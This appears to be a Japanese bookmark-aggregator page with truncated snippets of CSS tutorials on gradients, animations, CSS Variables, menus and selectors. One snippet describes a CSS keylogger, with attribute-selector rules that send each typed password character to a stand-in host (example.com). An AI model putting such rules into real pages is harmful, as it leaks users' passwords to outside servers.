ヒーローヘッダに使用する幅いっぱいの画像に与えるさまざまなグラデーションのスタイルシートを1クリックで生成できるジェネレーターを紹介します。 グラデーションのカスタマイズや自分の画像をアップロードすることもできるので、出来映えを確認しながら生成できます。
github.com よくもまあこんなこと思いついたなw 要するに、 input[type="password"][value$="a"] { background-image: url("http://example.com/a"); } input[type="password"][value$="b"] { background-image: url("http://example.com/b"); } ... とすることで、キータイプ毎に特定のHTTPリクエストを発生させて、それをサーバ側でキャプチャするわけです。極めて簡単。 これはもう既に悪用されているでしょうなあ… 追記 input[type="password"][value$="a"] { background-image: url("http://example.com/a?id=1234abcd"); } input[
PageSpeed Insights 計測結果 モバイル/パソコン 共に100点 速度という点に絞ると信用できるものではないかもしれませんが、100点という数字は単純にうれしい:) それでは!以下が私のやったことです リクエスト数を極限まで減らす CSSはstyle属性やstyleタグで設定 複数箇所で使う場合はstyleタグに、要素固有のスタイルはstyle属性で設定してしまいましょう。 style属性で設定する場合はセレクタでの捜索が発生しないので、ごく僅かながら速くなると思います。 画像はbase64で埋め込む こことかでデータURIスキームに変換してhtmlに埋め込みます。 base64エンコードすると容量が1.3倍くらいに増加するため大きな画像には向かない方法ですが、小さなアイコン程度ならリクエスト数減らすほうが効果的な場面があります。 複数箇所に使う画像の場合はCSS変数でba
2021年12月6日 CSS フラットデザインが流行ってからは、背景を一色で塗りつぶしたデザインのサイトが多くなりました。しかしそれだけではなんだか味気ない!という事で、CSS3のアニメーションを使って、徐々に色を変化させてみましょう!色の組み合わせや順番を調整して、パッと目を引くデザインに! ↑私が10年以上利用している会計ソフト! Themifyではホームのファーストビューでビビッドな色を少しずつ変えながら表示しています。今回目指すのはこんな感じの背景です。このサイトではJavaScriptにより色の移り変わりを実装しているようですが、CSS3のキーフレームアニメーションだけでも表現できます! CSS3 キーフレームアニメーションの基本 まずは要素を徐々に変化させるアニメーションについて覚えていきましょう!CSS3の animation プロパティでは、キーフレームを設定して細かい動き
CSS でカスタムプロパティを定義し、変数として使用できるようにするための新しい CSS 仕様 「CSS Variables」 について、最新仕様に基づいた解説します。 CSS Variables とは、CSS でカスタムプロパティを定義し、変数として使用できるようにするための新しい CSS 仕様です。定義した変数は他のスタイル宣言内で参照することができることで、より効率的な CSS の記述が可能になります。 以前、この Blog でも書きましたが、CSS Variables は Firefox 29 が実装し、機能としては使用できるようになっていましたが、正式リリース版ではデフォルトでは無効だったのと、カスタムプロパティの接頭辞が var- という古い仕様での実装でした。 近日正式版がリリースされる予定の Firefox 31 で最新の仕様 (接頭辞が -- に変更) を基に実装、デフォ
子アイテムをパタパタっと折り畳むアニメーションが気持ちいいナビゲーションを実装するスタイルシートのテクニックを紹介します。 デモページ 実装 HTML ナビゲーションの親のカテゴリはdivでまとめ、各子供はリストで実装します。 <div class="navbar"> <a class="menu" href="#">MENU</a> <div class="link large" href="#"> <span class="active"><i class="icon-twitter"></i>Twitter</span> <ul class="hover-bot"> <a href="">Reply</a> <a href="">Favorite</a> </ul> <ul class="hover-top"> <a href="">Follow</a> <a href="">Ret
九州ライターの村上です、皆さんこんにちは。最近最も嬉しかったことは筋肉痛がすぐに来たことです。そんな微妙なお年ごろ。 仕事でHTML/CSSの講師をしておりますが、近年スマートフォンの普及によりCSS3.0の導入も随分と浸透してきたように思います。あわせてセレクタの書き方が複雑になってきたので、今回はCSS3.0で追加されたセレクタと擬似クラスをまとめておきます。 実務でもよく使われるものには記述例を載せていますので、参考にしてください。 CSS3で追加されたセレクタと擬似クラスまとめ 属性セレクタ 構造疑似クラス ターゲット疑似クラス UI要素状態疑似クラス 否定擬似クラス 属性セレクタ 属性で設定した値に関するセレクタです。 E[Attr^=”val”] セレクタ[属性^=”値”] Attr属性の値がvalで始まるセレクタに適用する。 【例】リンクの属性がhttpを含む(外部リンク)場
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く